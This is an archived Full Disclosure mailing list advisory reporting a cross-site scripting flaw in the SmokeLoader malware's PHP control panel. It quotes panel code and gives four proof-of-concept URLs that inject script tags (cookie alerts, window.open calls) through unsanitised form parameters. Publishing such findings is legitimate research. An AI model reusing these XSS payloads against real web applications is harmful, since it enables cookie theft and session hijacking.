lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAAHK0WTE48_4g_Y9rF2mX9ucuoaPz_WTSeZE4PpdAdUCfWw87g@mail.gmail.com>
Date: Sat, 11 May 2024 00:17:46 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Panel.SmokeLoader C2 / Cross Site Scripting (XSS)

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/4b5fc3a2489985f314b81d35eac3560f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Panel.SmokeLoader
Vulnerability: Cross Site Scripting (XSS)
Family: SmokeLoader
Type: Web Panel
MD5: 4b5fc3a2489985f314b81d35eac3560f  (control.php)
SHA256: 8d02238577081be74b9ebc1effcfbf3452ffdb51f130398b5ab875b9bfe17743
Vuln ID: MVID-2024-0681
Disclosure: 05/11/2024
Description: The smokebot admin web panel is written in PHP for remote
administration capability. The panel has multiple features like Bot List,
Task List, Stealer, Miner, Email Grab, KeyLogger etc. The "control.php" PHP
page contains an HTML FORM that uses $_SERVER["PHP_SELF"] for the form
action method. This is a super global variable that returns the filename of
the currently executing script. There is no secure coding practices of
filtering input or sanitization of output e.g "htmlspecialchars()".
Therefore, panel users who visit a third-party adversary website or click
an infected link, can trigger arbitrary client side JS code execution in
the security context of the current user. This can result in data theft or
GEO location disclosure of the user accessing the smokebot web interface.

PHP snippet.

if ($_GET["mode"] === "reports"){
   $url_pattern = $_GET["logs_sru"];
   $id_pattern = $_GET["logs_sri"];

$action = $_SERVER["PHP_SELF"]."?page=stealer&mode=reports";
%3Cform method=\"get\" action=\"{$action}\"%3E

Interestingly, they use PHP function htmlspecialchars() when retrieving
data from the "smoke bot" MySQL database.

$r = mysqli_query($dbcon,"SELECT * FROM `stealer` WHERE `cname`='{$id}'");
   while ($v = mysqli_fetch_assoc($r)){
   $stealer_host = htmlspecialchars($v["host"]);

However, it doesn't wrap $_SERVER["PHP_SELF"] on the action method for the
FORM {$action} variable that handles user input.

Exploit/PoC:
1)
http://x.x.x.x/SmokeLoader/control1.php?page=stealer&mode=reports&logs_sri=%22/%3E%3Cscript%3Ewindow.open(
"https://malvuln.com")%3C/script%3E&logs_sru=&next=1
2)
http://x.x.x.x/SmokeLoader/control1.php?page=fgrab&mode=reports&forms_sri=%22/%3E%3Cscript%3Ealert((document.cookie)%3C/script%3E
3)
http://x.x.x.x/SmokeLoader/control1.php?page=fgrab&mode=reports&forms_sru=%22/%3E%3Cscript%3Ewindow.open('https://hyp3rlinx.altervista.org/')%3C/script%3E
4)
http://x.x.x.x/SmokeLoader/control1.php?page=fgrab&mode=reports&forms_srd=%22/%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ